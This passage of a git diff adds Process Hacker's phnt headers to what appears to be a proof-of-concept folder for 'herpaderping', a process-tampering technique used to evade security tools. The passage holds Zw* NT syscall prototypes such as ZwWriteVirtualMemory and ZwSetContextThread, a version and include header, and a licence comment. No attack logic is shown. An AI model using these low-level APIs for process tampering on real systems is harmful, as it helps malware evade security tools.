IoCompletionInformation, + _In_ ULONG Count, + _Out_ PULONG NumEntriesRemoved, + _In_opt_ PLARGE_INTEGER Timeout, + _In_ BOOLEAN Alertable + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwRemoveProcessDebug( + _In_ HANDLE ProcessHandle, + _In_ HANDLE DebugObjectHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwRenameKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING NewName + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwRenameTransactionManager( + _In_ PUNICODE_STRING LogFileName, + _In_ LPGUID ExistingTransactionManagerGuid + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwReplaceKey( + _In_ POBJECT_ATTRIBUTES NewFile, + _In_ HANDLE TargetHandle, + _In_ POBJECT_ATTRIBUTES OldFile + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwReplacePartitionUnit( + _In_ PUNICODE_STRING TargetInstancePath, + _In_ PUNICODE_STRING SpareInstancePath, + _In_ ULONG Flags + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwReplyPort( + _In_ HANDLE PortHandle, + _In_reads_bytes_(ReplyMessage->u1.s1.TotalLength) PPORT_MESSAGE ReplyMessage + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwReplyWaitReceivePort( + _In_ HANDLE PortHandle, + _Out_opt_ PVOID *PortContext, + _In_reads_bytes_opt_(ReplyMessage->u1.s1.TotalLength) PPORT_MESSAGE ReplyMessage, + _Out_ PPORT_MESSAGE ReceiveMessage + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwReplyWaitReceivePortEx( + _In_ HANDLE PortHandle, + _Out_opt_ PVOID *PortContext, + _In_reads_bytes_opt_(ReplyMessage->u1.s1.TotalLength) PPORT_MESSAGE ReplyMessage, + _Out_ PPORT_MESSAGE ReceiveMessage, + _In_opt_ PLARGE_INTEGER Timeout + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwReplyWaitReplyPort( + _In_ HANDLE PortHandle, + _Inout_ PPORT_MESSAGE ReplyMessage + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwRequestPort( + _In_ HANDLE PortHandle, + _In_reads_bytes_(RequestMessage->u1.s1.TotalLength) PPORT_MESSAGE RequestMessage + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwRequestWaitReplyPort( + _In_ HANDLE PortHandle, + _In_reads_bytes_(RequestMessage->u1.s1.TotalLength) PPORT_MESSAGE RequestMessage, + _Out_ PPORT_MESSAGE ReplyMessage + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwRequestWakeupLatency( + _In_ LATENCY_TIME latency + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwResetEvent( + _In_ HANDLE EventHandle, + _Out_opt_ PLONG PreviousState + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwResetWriteWatch( + _In_ HANDLE ProcessHandle, + _In_ PVOID BaseAddress, + _In_ SIZE_T RegionSize + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwRestoreKey( + _In_ HANDLE KeyHandle, + _In_ HANDLE FileHandle, + _In_ ULONG Flags + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwResumeProcess( + _In_ HANDLE ProcessHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwResumeThread( + _In_ HANDLE ThreadHandle, + _Out_opt_ PULONG PreviousSuspendCount + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwRevertContainerImpersonation( + VOID + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwRollbackComplete( + _In_ HANDLE EnlistmentHandle, + _In_opt_ PLARGE_INTEGER TmVirtualClock + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwRollbackEnlistment( + _In_ HANDLE EnlistmentHandle, + _In_opt_ PLARGE_INTEGER TmVirtualClock + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwRollbackTransaction( + _In_ HANDLE TransactionHandle, + _In_ BOOLEAN Wait + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwRollforwardTransactionManager( + _In_ HANDLE TransactionManagerHandle, + _In_opt_ PLARGE_INTEGER TmVirtualClock + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSaveKey( + _In_ HANDLE KeyHandle, + _In_ HANDLE FileHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSaveKeyEx( + _In_ HANDLE KeyHandle, + _In_ HANDLE FileHandle, + _In_ ULONG Format + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSaveMergedKeys( + _In_ HANDLE HighPrecedenceKeyHandle, + _In_ HANDLE LowPrecedenceKeyHandle, + _In_ HANDLE FileHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSecureConnectPort( + _Out_ PHANDLE PortHandle, + _In_ PUNICODE_STRING PortName, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos, + _Inout_opt_ PPORT_VIEW ClientView, + _In_opt_ PSID RequiredServerSid, + _Inout_opt_ PREMOTE_PORT_VIEW ServerView, + _Out_opt_ PULONG MaxMessageLength, + _Inout_updates_bytes_to_opt_(*ConnectionInformationLength, *ConnectionInformationLength) PVOID ConnectionInformation, + _Inout_opt_ PULONG ConnectionInformationLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSerializeBoot( + VOID + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetBootEntryOrder( + _In_reads_(Count) PULONG Ids, + _In_ ULONG Count + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetBootOptions( + _In_ PBOOT_OPTIONS BootOptions, + _In_ ULONG FieldsToChange + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetCachedSigningLevel( + _In_ ULONG Flags, + _In_ SE_SIGNING_LEVEL InputSigningLevel, + _In_reads_(SourceFileCount) PHANDLE SourceFiles, + _In_ ULONG SourceFileCount, + _In_opt_ HANDLE TargetFile + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetContextThread( + _In_ HANDLE ThreadHandle, + _In_ PCONTEXT ThreadContext + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetDebugFilterState( + _In_ ULONG ComponentId, + _In_ ULONG Level, + _In_ BOOLEAN State + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetDefaultHardErrorPort( + _In_ HANDLE DefaultHardErrorPort + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetDefaultLocale( + _In_ BOOLEAN UserProfile, + _In_ LCID DefaultLocaleId + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetDefaultUILanguage( + _In_ LANGID DefaultUILanguageId + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetDriverEntryOrder( + _In_reads_(Count) PULONG Ids, + _In_ ULONG Count + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetEaFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_reads_bytes_(Length) PVOID Buffer, + _In_ ULONG Length + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetEvent( + _In_ HANDLE EventHandle, + _Out_opt_ PLONG PreviousState + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetEventBoostPriority( + _In_ HANDLE EventHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetHighEventPair( + _In_ HANDLE EventPairHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetHighWaitLowEventPair( + _In_ HANDLE EventPairHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetInformationDebugObject( + _In_ HANDLE DebugObjectHandle, + _In_ DEBUGOBJECTINFOCLASS DebugObjectInformationClass, + _In_ PVOID DebugInformation, + _In_ ULONG DebugInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetInformationEnlistment( + _In_opt_ HANDLE EnlistmentHandle, + _In_ ENLISTMENT_INFORMATION_CLASS EnlistmentInformationClass, + _In_reads_bytes_(EnlistmentInformationLength) PVOID EnlistmentInformation, + _In_ ULONG EnlistmentInformationLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_reads_bytes_(Length) PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetInformationJobObject( + _In_ HANDLE JobHandle, + _In_ JOBOBJECTINFOCLASS JobObjectInformationClass, + _In_reads_bytes_(JobObjectInformationLength) PVOID JobObjectInformation, + _In_ ULONG JobObjectInformationLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetInformationKey( + _In_ HANDLE KeyHandle, + _In_ KEY_SET_INFORMATION_CLASS KeySetInformationClass, + _In_reads_bytes_(KeySetInformationLength) PVOID KeySetInformation, + _In_ ULONG KeySetInformationLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetInformationObject( + _In_ HANDLE Handle, + _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass, + _In_reads_bytes_(ObjectInformationLength) PVOID ObjectInformation, + _In_ ULONG ObjectInformationLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetInformationProcess( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS ProcessInformationClass, + _In_reads_bytes_(ProcessInformationLength) PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetInformationResourceManager( + _In_ HANDLE ResourceManagerHandle, + _In_ RESOURCEMANAGER_INFORMATION_CLASS ResourceManagerInformationClass, + _In_reads_bytes_(ResourceManagerInformationLength) PVOID ResourceManagerInformation, + _In_ ULONG ResourceManagerInformationLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetInformationThread( + _In_ HANDLE ThreadHandle, + _In_ THREADINFOCLASS ThreadInformationClass, + _In_reads_bytes_(ThreadInformationLength) PVOID ThreadInformation, + _In_ ULONG ThreadInformationLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetInformationToken( + _In_ HANDLE TokenHandle, + _In_ TOKEN_INFORMATION_CLASS TokenInformationClass, + _In_reads_bytes_(TokenInformationLength) PVOID TokenInformation, + _In_ ULONG TokenInformationLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetInformationTransaction( + _In_ HANDLE TransactionHandle, + _In_ TRANSACTION_INFORMATION_CLASS TransactionInformationClass, + _In_reads_bytes_(TransactionInformationLength) PVOID TransactionInformation, + _In_ ULONG TransactionInformationLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetInformationTransactionManager( + _In_opt_ HANDLE TmHandle, + _In_ TRANSACTIONMANAGER_INFORMATION_CLASS TransactionManagerInformationClass, + _In_reads_bytes_(TransactionManagerInformationLength) PVOID TransactionManagerInformation, + _In_ ULONG TransactionManagerInformationLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetInformationVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_ VIRTUAL_MEMORY_INFORMATION_CLASS VmInformationClass, + _In_ ULONG_PTR NumberOfEntries, + _In_reads_ (NumberOfEntries) PMEMORY_RANGE_ENTRY VirtualAddresses, + _In_reads_bytes_ (VmInformationLength) PVOID VmInformation, + _In_ ULONG VmInformationLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetInformationWorkerFactory( + _In_ HANDLE WorkerFactoryHandle, + _In_ WORKERFACTORYINFOCLASS WorkerFactoryInformationClass, + _In_reads_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation, + _In_ ULONG WorkerFactoryInformationLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetIntervalProfile( + _In_ ULONG Interval, + _In_ KPROFILE_SOURCE Source + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetIoCompletion( + _In_ HANDLE IoCompletionHandle, + _In_opt_ PVOID KeyContext, + _In_opt_ PVOID ApcContext, + _In_ NTSTATUS IoStatus, + _In_ ULONG_PTR IoStatusInformation + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetIoCompletionEx( + _In_ HANDLE IoCompletionHandle, + _In_ HANDLE IoCompletionPacketHandle, + _In_opt_ PVOID KeyContext, + _In_opt_ PVOID ApcContext, + _In_ NTSTATUS IoStatus, + _In_ ULONG_PTR IoStatusInformation + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetIRTimer( + _In_ HANDLE TimerHandle, + _In_opt_ PLARGE_INTEGER DueTime + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetLdtEntries( + _In_ ULONG Selector0, + _In_ ULONG Entry0Low, + _In_ ULONG Entry0Hi, + _In_ ULONG Selector1, + _In_ ULONG Entry1Low, + _In_ ULONG Entry1Hi + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetLowEventPair( + _In_ HANDLE EventPairHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetLowWaitHighEventPair( + _In_ HANDLE EventPairHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetQuotaInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_reads_bytes_(Length) PVOID Buffer, + _In_ ULONG Length + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetSecurityObject( + _In_ HANDLE Handle, + _In_ SECURITY_INFORMATION SecurityInformation, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetSystemEnvironmentValue( + _In_ PUNICODE_STRING VariableName, + _In_ PUNICODE_STRING VariableValue + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetSystemEnvironmentValueEx( + _In_ PUNICODE_STRING VariableName, + _In_ LPGUID VendorGuid, + _In_reads_bytes_opt_(ValueLength) PVOID Value, + _In_ ULONG ValueLength, + _In_ ULONG Attributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetSystemInformation( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _In_reads_bytes_opt_(SystemInformationLength) PVOID SystemInformation, + _In_ ULONG SystemInformationLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetSystemPowerState( + _In_ POWER_ACTION SystemAction, + _In_ SYSTEM_POWER_STATE LightestSystemState, + _In_ ULONG Flags // POWER_ACTION_* flags + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetSystemTime( + _In_opt_ PLARGE_INTEGER SystemTime, + _Out_opt_ PLARGE_INTEGER PreviousTime + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetThreadExecutionState( + _In_ EXECUTION_STATE NewFlags, // ES_* flags + _Out_ EXECUTION_STATE *PreviousFlags + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetTimer( + _In_ HANDLE TimerHandle, + _In_ PLARGE_INTEGER DueTime, + _In_opt_ PTIMER_APC_ROUTINE TimerApcRoutine, + _In_opt_ PVOID TimerContext, + _In_ BOOLEAN ResumeTimer, + _In_opt_ LONG Period, + _Out_opt_ PBOOLEAN PreviousState + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetTimer2( + _In_ HANDLE TimerHandle, + _In_ PLARGE_INTEGER DueTime, + _In_opt_ PLARGE_INTEGER Period, + _In_ PT2_SET_PARAMETERS Parameters + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetTimerEx( + _In_ HANDLE TimerHandle, + _In_ TIMER_SET_INFORMATION_CLASS TimerSetInformationClass, + _Inout_updates_bytes_opt_(TimerSetInformationLength) PVOID TimerSetInformation, + _In_ ULONG TimerSetInformationLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetTimerResolution( + _In_ ULONG DesiredTime, + _In_ BOOLEAN SetResolution, + _Out_ PULONG ActualTime + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetUuidSeed( + _In_ PCHAR Seed + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName, + _In_opt_ ULONG TitleIndex, + _In_ ULONG Type, + _In_reads_bytes_opt_(DataSize) PVOID Data, + _In_ ULONG DataSize + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetVolumeInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_reads_bytes_(Length) PVOID FsInformation, + _In_ ULONG Length, + _In_ FSINFOCLASS FsInformationClass + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSetWnfProcessNotificationEvent( + _In_ HANDLE NotificationEvent + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwShutdownSystem( + _In_ SHUTDOWN_ACTION Action + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwShutdownWorkerFactory( + _In_ HANDLE WorkerFactoryHandle, + _Inout_ volatile LONG *PendingWorkerCount + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSignalAndWaitForSingleObject( + _In_ HANDLE SignalHandle, + _In_ HANDLE WaitHandle, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSinglePhaseReject( + _In_ HANDLE EnlistmentHandle, + _In_opt_ PLARGE_INTEGER TmVirtualClock + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwStartProfile( + _In_ HANDLE ProfileHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwStopProfile( + _In_ HANDLE ProfileHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSubscribeWnfStateChange( + _In_ PCWNF_STATE_NAME StateName, + _In_opt_ WNF_CHANGE_STAMP ChangeStamp, + _In_ ULONG EventMask, + _Out_opt_ PULONG64 SubscriptionId + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSuspendProcess( + _In_ HANDLE ProcessHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSuspendThread( + _In_ HANDLE ThreadHandle, + _Out_opt_ PULONG PreviousSuspendCount + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwSystemDebugControl( + _In_ SYSDBG_COMMAND Command, + _Inout_updates_bytes_opt_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer, + _In_ ULONG OutputBufferLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwTerminateJobObject( + _In_ HANDLE JobHandle, + _In_ NTSTATUS ExitStatus + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwTerminateProcess( + _In_opt_ HANDLE ProcessHandle, + _In_ NTSTATUS ExitStatus + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwTerminateThread( + _In_opt_ HANDLE ThreadHandle, + _In_ NTSTATUS ExitStatus + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwTestAlert( + VOID + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwThawRegistry( + VOID + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwThawTransactions( + VOID + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwTraceControl( + _In_ ULONG FunctionCode, + _In_reads_bytes_opt_(InBufferLen) PVOID InBuffer, + _In_ ULONG InBufferLen, + _Out_writes_bytes_opt_(OutBufferLen) PVOID OutBuffer, + _In_ ULONG OutBufferLen, + _Out_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwTraceEvent( + _In_ HANDLE TraceHandle, + _In_ ULONG Flags, + _In_ ULONG FieldSize, + _In_ PVOID Fields + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwTranslateFilePath( + _In_ PFILE_PATH InputFilePath, + _In_ ULONG OutputType, + _Out_writes_bytes_opt_(*OutputFilePathLength) PFILE_PATH OutputFilePath, + _Inout_opt_ PULONG OutputFilePathLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwUmsThreadYield( + _In_ PVOID SchedulerParam + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwUnloadDriver( + _In_ PUNICODE_STRING DriverServiceName + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwUnloadKey( + _In_ POBJECT_ATTRIBUTES TargetKey + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwUnloadKey2( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ ULONG Flags + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwUnloadKeyEx( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_opt_ HANDLE Event + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwUnlockFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PLARGE_INTEGER ByteOffset, + _In_ PLARGE_INTEGER Length, + _In_ ULONG Key + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwUnlockVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID *BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG MapType + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwUnmapViewOfSection( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwUnmapViewOfSectionEx( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _In_ ULONG Flags + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwUnsubscribeWnfStateChange( + _In_ PCWNF_STATE_NAME StateName + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwUpdateWnfStateData( + _In_ PCWNF_STATE_NAME StateName, + _In_reads_bytes_opt_(Length) const VOID *Buffer, + _In_opt_ ULONG Length, + _In_opt_ PCWNF_TYPE_ID TypeId, + _In_opt_ const VOID *ExplicitScope, + _In_ WNF_CHANGE_STAMP MatchingChangeStamp, + _In_ LOGICAL CheckStamp + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwVdmControl( + _In_ VDMSERVICECLASS Service, + _Inout_ PVOID ServiceData + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwWaitForAlertByThreadId( + _In_ PVOID Address, + _In_opt_ PLARGE_INTEGER Timeout + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwWaitForDebugEvent( + _In_ HANDLE DebugObjectHandle, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout, + _Out_ PDBGUI_WAIT_STATE_CHANGE WaitStateChange + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwWaitForKeyedEvent( + _In_ HANDLE KeyedEventHandle, + _In_ PVOID KeyValue, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwWaitForMultipleObjects( + _In_ ULONG Count, + _In_reads_(Count) HANDLE Handles[], + _In_ WAIT_TYPE WaitType, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwWaitForMultipleObjects32( + _In_ ULONG Count, + _In_reads_(Count) LONG Handles[], + _In_ WAIT_TYPE WaitType, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwWaitForSingleObject( + _In_ HANDLE Handle, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwWaitForWorkViaWorkerFactory( + _In_ HANDLE WorkerFactoryHandle, + _Out_ struct _FILE_IO_COMPLETION_INFORMATION *MiniPacket + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwWaitHighEventPair( + _In_ HANDLE EventPairHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwWaitLowEventPair( + _In_ HANDLE EventPairHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwWorkerFactoryWorkerReady( + _In_ HANDLE WorkerFactoryHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwWriteFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_reads_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwWriteFileGather( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PFILE_SEGMENT_ELEMENT SegmentArray, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwWriteRequestData( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ ULONG DataEntryIndex, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesWritten + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwWriteVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesWritten + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwYieldExecution( + VOID + ); + +#endif diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/phnt.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/phnt.h new file mode 100644 index 00000000..c6952249 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/phnt.h @@ -0,0 +1,118 @@ +/* + * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#ifndef _PHNT_H +#define _PHNT_H + +// This header file provides access to NT APIs. + +// Definitions are annotated to indicate their source. If a definition is not annotated, it has been +// retrieved from an official Microsoft source (NT headers, DDK headers, winnt.h). + +// * "winbase" indicates that a definition has been reconstructed from a Win32-ized NT definition in +// winbase.h. +// * "rev" indicates that a definition has been reverse-engineered. +// * "dbg" indicates that a definition has been obtained from a debug message or assertion in a +// checked build of the kernel or file. + +// Reliability: +// 1. No annotation. +// 2. dbg. +// 3. symbols, private. Types may be incorrect. +// 4. winbase. Names and types may be incorrect. +// 5. rev. + +// Mode +#define PHNT_MODE_KERNEL 0 +#define PHNT_MODE_USER 1 + +// Version +#define PHNT_WIN2K 50 +#define PHNT_WINXP 51 +#define PHNT_WS03 52 +#define PHNT_VISTA 60 +#define PHNT_WIN7 61 +#define PHNT_WIN8 62 +#define PHNT_WINBLUE 63 +#define PHNT_THRESHOLD 100 +#define PHNT_THRESHOLD2 101 +#define PHNT_REDSTONE 102 +#define PHNT_REDSTONE2 103 +#define PHNT_REDSTONE3 104 +#define PHNT_REDSTONE4 105 +#define PHNT_REDSTONE5 106 +#define PHNT_19H1 107 +#define PHNT_19H2 108 + +#ifndef PHNT_MODE +#define PHNT_MODE PHNT_MODE_USER +#endif + +#ifndef PHNT_VERSION +#define PHNT_VERSION PHNT_WIN7 +#endif + +// Options + +//#define PHNT_NO_INLINE_INIT_STRING + +#ifdef __cplusplus +extern "C" { +#endif + +#if (PHNT_MODE != PHNT_MODE_KERNEL) +#include +#include +#include +#endif + +#include +#include + +#include +#include +#include + +#if (PHNT_MODE != PHNT_MODE_KERNEL) +#include +#include +#include +#include +#include +#include +#include +#include +#include +#endif + +#if (PHNT_MODE != PHNT_MODE_KERNEL) + +#include +#include +#include +#include + +#include + +#include +#include + +#include + +#include + +#endif + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/phnt_ntdef.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/phnt_ntdef.h new file mode 100644 index 00000000..143ed303 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/phnt_ntdef.h @@ -0,0 +1,319 @@ +/* + * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + 